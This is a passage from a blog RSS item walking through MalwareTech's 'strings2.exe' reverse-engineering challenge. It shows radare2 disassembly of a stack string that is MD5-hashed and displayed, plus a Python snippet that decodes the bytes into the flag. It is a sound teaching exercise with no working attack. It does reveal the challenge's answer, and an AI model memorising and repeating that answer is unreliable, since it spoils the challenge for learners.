|           0x004022e6      mov  byte [var_1ch], 0x54 ; 'T' ; 84
|           0x004022ea      mov  byte [var_1bh], 0x52 ; 'R' ; 82
|           0x004022ee      mov  byte [var_1ah], 0x49 ; 'I' ; 73
|           0x004022f2      mov  byte [var_19h], 0x4e ; 'N' ; 78
|           0x004022f6      mov  byte [var_18h], 0x47 ; 'G' ; 71
|           0x004022fa      mov  byte [var_17h], 0x53 ; 'S' ; 83
|           0x004022fe      mov  byte [var_16h], 0x2d ; '-' ; 45
|           0x00402302      mov  byte [var_15h], 0x41 ; 'A' ; 65
|           0x00402306      mov  byte [var_14h], 0x52 ; 'R' ; 82
|           0x0040230a      mov  byte [var_13h], 0x45 ; 'E' ; 69
|           0x0040230e      mov  byte [var_12h], 0x2d ; '-' ; 45
|           0x00402312      mov  byte [var_11h], 0x42 ; 'B' ; 66
|           0x00402316      mov  byte [var_10h], 0x45 ; 'E' ; 69
|           0x0040231a      mov  byte [var_fh], 0x53 ; 'S' ; 83
|           0x0040231e      mov  byte [var_eh], 0x54 ; 'T' ; 84
|           0x00402322      mov  byte [var_dh], 0x2d ; '-' ; 45
|           0x00402326      mov  byte [var_ch], 0x53 ; 'S' ; 83
|           0x0040232a      mov  byte [var_bh], 0x54 ; 'T' ; 84
|           0x0040232e      mov  byte [var_ah], 0x52 ; 'R' ; 82
|           0x00402332      mov  byte [var_9h], 0x49 ; 'I' ; 73
|           0x00402336      mov  byte [var_8h], 0x4e ; 'N' ; 78
|           0x0040233a      mov  byte [var_7h], 0x47 ; 'G' ; 71
|           0x0040233e      mov  byte [var_6h], 0x53 ; 'S' ; 83
|           0x00402342      mov  byte [var_5h], 0x7d ; '}' ; 125
|           0x00402346      lea  eax, [var_28h]
|           0x00402349      push eax
|           0x0040234a      call sym.plaintext2.exe__md5_hash__YAPADPAD_Z
|           0x0040234f      add  esp, 4
|           0x00402352      mov  dword [lpText], eax
|           0x00402355      push 0x30 ; '0' ; 48 ; UINT uType
|           0x00402357      push str.We_ve_been_compromised ; 0x403020 ; &quot;We've been compromised!&quot; ; LPCSTR lpCaption
|           0x0040235c      mov  ecx, dword [lpText]
|           0x0040235f      push ecx ; LPCSTR lpText
|           0x00402360      push 0 ; HWND hWnd
|           0x00402362      call dword [sym.imp.USER32.dll_MessageBoxA] ; 0x403008 ; int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
|           0x00402368      push 0 ; UINT uExitCode
|           0x0040236a      call dword [sym.imp.KERNEL32.dll_ExitProcess] ; 0x403000 ; void ExitProcess(UINT uExitCode)
|           0x00402370      xor  eax, eax
|           0x00402372      mov  esp, ebp
|           0x00402374      pop  ebp
\           0x00402375      ret  0x10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here we see the stack being initialized and then we see multiple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov byte...&lt;/code&gt; lines.
This is where the flag is being addressed in memory byte by byte.
We are then loading the address of the first byte into eax &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lea eax, [var_28h]&lt;/code&gt; and pushing it to the stack.
Next a function is called that seems to compute an MD5 hash.
When ran this binary will hash the flag and spit out the MD5 value.&lt;/p&gt;

&lt;p&gt;All we have to do for this one is pull the flag out of the stack string and we have our flag.
radare2 automatically converts the hex to ascii in a comment next to the instruction so it is easy to extract.
However this could also be done programatically with python if needed:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;stack_string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x47&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;mh&quot;&gt;0x4b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x52&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x47&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;mh&quot;&gt;0x2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x52&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x45&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x45&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;mh&quot;&gt;0x2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x54&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x52&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x47&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ascii_string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stack_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ascii_string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ascii_string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ascii_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the above code all we are doing is creating a list of bytes which is effectively just like the stack string in the assembly code.
We then iterate through this list and use the chr() method to get the string character from the provided unicode code point (the current byte).
That string is then added to the end result “ascii_string” and it is printed to the console when the loop exits.
We can then take this flag, plug it into MalwareTech’s site, and voila! strings2.exe complete!&lt;/p&gt;
</description>
        <pubDate>Fri, 21 Jun 2019 19:35:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/MalwareTechChallenge_strings2.exe/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/MalwareTechChallenge_strings2.exe/</guid>
        
        <category>mtchallenge</category>
        
        <category>tools</category>
        
        <category>re</category>
        
        
        <category>posts</category>
        
      </item>
    
  </channel>
</rss>
